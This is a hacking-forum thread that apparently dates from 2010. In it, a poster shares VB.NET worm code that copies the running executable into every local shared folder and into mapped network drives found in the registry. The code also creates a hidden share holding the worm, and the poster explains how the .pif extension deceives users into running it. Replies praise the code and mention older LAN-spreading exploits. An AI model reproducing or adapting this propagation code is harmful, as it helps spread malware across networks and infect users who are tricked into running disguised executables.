

Forum:[Hack Forums](#)

Thread: [\[VB.NET\] network {local} spread](#)

unknown123456 - September 8, 2010, 2:34 pm

Code Module spread

Public Sub Share()

```
Try
    Dim shares As New ManagementObjectSearcher("select * from win32_share")
    For Each serv As ManagementObject In shares.[Get]()
        Dim shareName As String = Convert.ToString(serv("Name"))
        If Not shareName.Contains("$") Then
            File.Copy(Application.ExecutablePath, "\\" + Environment.MachineName & "\" &
shareName & "runme.pif", True)
        End If
    Next
Catch ex As Exception
End Try
```

```
Try
    Dim key As String = "Software\Microsoft\Windows\CurrentVersion\Explorer\Map Network
Drive MRU\"
    Dim reg As RegistryKey = Registry.CurrentUser.OpenSubKey(key)
```

```
For Each valuenam As String In reg.GetValueNames()
    Dim path As String = reg.GetValue(valuenam).ToString()
    If valuenam.ToLower() <> "mrulist" Then
        Try
            File.Copy(Application.ExecutablePath, path & "\\installation.exe", True)
            File.Copy(Application.ExecutablePath, path & "\\start.pif", True)
            Catch er As Exception

        End Try
    End If
Next
reg.Close()
Catch er As Exception
End Try
End Sub
```

Public Sub CreateShare(ByVal dir As String, ByVal name As String)

```

Try
    Directory.CreateDirectory(dir)
    Dim managementClass As New ManagementClass("Win32_Share")
    Dim inParams As ManagementBaseObject =
managementClass.GetMethodParameters("Create")
    Dim outParams As ManagementBaseObject
    inParams("Description") = name
    inParams("Name") = name
    inParams("Path") = dir
    inParams("Type") = &H0
    outParams = managementClass.InvokeMethod("Create", inParams, Nothing)

    If CUInt(outParams.Properties("ReturnValue").Value) = 0 Then

        If Directory.Exists(dir) Then
            Dim d As New DirectoryInfo(dir)
            d.Attributes = FileAttributes.Hidden
        End If

    End If
Catch e As Exception
End Try
End Sub

```

credits to yeha worm , improved code and converted to vb.net

usage:

Code Share()

CreateShare(Environment.GetEnvironmentVariable("programfiles") & "/no-access",
"run.pif")

the share() function will basically copy the worm into every shared folder/drive on the local machine
the create share will create a shared folder with itself in it , trying to get a network user browsing in
the network to run the worm (i know it will rarely work, but anyways its a spreading method , and
nearly totally hidden)

so why do i use pif extension for my worm copies? they seem to be less harmfull (more harmless?
what ever lol) than exe,scr or com files, also maybe the user will mistake it with a .lnk (non
executable link file)

because a pif file is actually a executable lnk file for ms-dos applications

sorry for my bad english

Da Loser - September 8, 2010, 3:00 pm

nice share.

but yeha worm is bad :(

it don't work effectively.

unknown123456 - September 8, 2010, 3:07 pm

(Sep 8, 2010 03:00 PM)HF Troll Wrote: [\[CITE\]](#) nice share.

but yeha worm is bad :(

it don't work effectively.

probably it is, but never the less , the share folder-infection-method-blabla-thingy are using many other worms also .

Da Loser - September 8, 2010, 3:20 pm

(Sep 8, 2010 03:07 PM)pcquad Wrote: [\[CITE\]](#) probably it is, but never the less , the share folder-infection-method-blabla-thingy are using many other worms also .

yes but most noob's dont know that netshare/lan spread using drop to a shared folder. dont work very well.

not as well as exploits , aka real LAN Spread.

like dcom, llass etc.

unknown123456 - September 8, 2010, 3:28 pm

(Sep 8, 2010 03:20 PM)HF Troll Wrote: [\[CITE\]](#) yes but most noob's dont know that netshare/lan spread using drop to a shared folder. dont work very well.

not as well as exploits , aka real LAN Spread.

like dcom, llass etc.

dcom and lsass are about 5 and 7 years old O.o

you would need a windows xp sp1 in order to get those exploits working...

Asus - September 8, 2010, 3:57 pm

Nice share, thanks and its useful :D

BlackCoderBoy - August 13, 2013, 6:25 pm

nice bro thanks for code its very important